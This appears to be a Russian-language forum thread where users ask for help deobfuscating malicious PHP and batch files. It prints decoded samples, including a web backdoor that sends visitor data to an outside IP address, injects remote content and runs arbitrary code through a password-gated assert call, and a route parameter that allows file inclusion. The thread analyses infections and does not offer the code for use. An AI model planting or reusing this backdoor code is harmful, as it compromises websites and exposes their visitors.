AHAEUAXABfAGAAVwAfAHEAiwAZAOT/KQAkAGgA0gC4AE8ARwBsAAgAsv/4/wIAHgB/AKcAiQC4AGUA7/8iAFkALwApAGoAowBnANMA1wB7ADEAXQBCAGwAlgDEAIEAswDJAJUAlwD/AM8AbQDBABkBIgFMAfcAkABVAJwAfACGAAcBUQHgAJcAggB3AFoArACAAG0ArAC9AGEAigCRAAAAm//5/ygA9P8iAFcAUgDEAJUA/P/L/yQAOgAVAEUAdwBxAH0AkQA8APL/HwD8/wAAPABwABEAJwBtADcAXgAWATYBbQEpAt8CXgP7A1EEQwQQBGEEUAQXBBMExgPgAowCCQJNAQYBPAEpAUABNQEXAb4AoACCAB4AGgBxAFoAHQBYALsAXQBxAJgAggA3AGsAMACn/+L/VwAsAFIAbwAkABwAYgAoABIATQCFAD8AXABGAOr/7v84ADEAAgBwAJMARQCKAHwALwAXAG0AJwCc/ykAwgCEAIUAhAAWADsAkQBIAF4AuAA=
Не актуально Уже расшифровал PHP: if(!empty($_POST)){$zggyjkowmiv="\x66\x69\x65\x6c\x64"; ${"G\x4c\x4f\x42A\x4cS"}["\x6f\x6a\x6e\x66p\x6b\x76\x74\x6ab\x64"]="\x66i\x65\x6cd"; foreach($_POST as&${${"GL\x4fB\x41L\x53"}["\x6fj\x6e\x66\x70\x6bvt\x6a\x62\x64"]})${${"G\x4c\x4f\x42\x41\x4c\x53"}["qj\x76\x68\x75\x62\x73\x74"]}=str_replace("\x2e//","://",${$zggyjkowmiv});} if(@$_GET["rout\x65"])require_once(@$_GET["r\x6f\x75te"]."\x2e\x74p\x6c"); else require_once("\x74i\x74\x6ce.t\x70l"); require_once("\x66\x6fot\x65\x72.\x74p\x6c"); Это был: Encoder Pipsomania
Code: ktulhu@ktulhu:~$ cat script.php | perl -lane 'use String::HexConvert ":all";~s/\\x([0-9a-z]{2})/hex_to_ascii($1)/egi;print;' if(!empty($_POST)){$zggyjkowmiv="field"; ${"GLOBALS"}["ojnfpkvtjbd"]="field"; foreach($_POST as&${${"GLOBALS"}["ojnfpkvtjbd"]})${${"GLOBALS"}["qjvhubst"]}=str_replace(".//","://",${$zggyjkowmiv});} if(@$_GET["route"])require_once(@$_GET["route"].".tpl"); else require_once("title.tpl"); require_once("footer.tpl");
PHP: if (isset($ibv)) { echo $ibv; } else { if(!empty($_COOKIE["client_check"]))die($_COOKIE["client_check"]);if(!isset($c_["HTTP_ACCEPT_CHARSET"])){$temp = dirname(__FILE__)."/ch";$charset = file_get_contents($temp);if (!$charset && !isset($_GET["charset"])){$str = file_get_contents("http://".$_SERVER["HTTP_HOST"]."/?charset=1");if(preg_match("/windows-1251/i", $str)){$charset = "windows-1251";}elseif(preg_match("/utf-8/i", $str)){$charset = "utf-8";}else{$charset = "windows-1251";}$handle = fopen($temp, "w+");fwrite($handle, $charset);fclose($handle);} else {$charset = "utf-8";} $c0 = $charset;}else{$c0=$c_["HTTP_ACCEPT_CHARSET"];}if(function_exists("curl_init")){$c1=curl_init("http://217.12.204.183/get.php?d=".urlencode($_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"])."&u=".urlencode($_SERVER["HTTP_USER_AGENT"])."&c=".$c0."&i=1&ip=".$_SERVER["REMOTE_ADDR"]."&h=".md5("5901ac288e42519524e863ffc803aa04".$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"].$_SERVER["HTTP_USER_AGENT"].$c0."1"));curl_setopt($c1,42,false);curl_setopt($c1,19913,true);$ibv = curl_exec($c1);curl_close($c1);}elseif(ini_get("allow_url_fopen")==1){$ibv = file_get_contents("http://217.12.204.183/get.php?d=".urlencode($_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"])."&u=".urlencode($_SERVER["HTTP_USER_AGENT"])."&c=".$c0."&i=1&ip=".$_SERVER["REMOTE_ADDR"]."&h=".md5("5901ac288e42519524e863ffc803aa04".$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"].$_SERVER["HTTP_USER_AGENT"].$c0."1"));} if (isset($ibv)) { echo $ibv; } if(isset($_REQUEST["p"]) && $_REQUEST["p"] == "8bfdcec8") { @assert($_REQUEST["c"]); }} http://217.12.204.183/admin.php индексатор билора
Помогите пожалуйста!! снимите обфускацию PHP кода до исходного состояния https://www.sendspace.com/file/k4zk8k
Ребят помогите, в архиве code зашифрованный файл, а в архиве afte, после моих неудачных попыток, что-то получилось. Спасибо!
Господа, подскажите пожалуйста: http://pastebin.com/uVFK1L16 Статический деобфускатор не помог. Я сделал тык-мык, всякие там замены на эхо вместо комманд - не особо прокатило Забыл сказать что это .bat-файл. Он вылез в ярлыки браузеров.
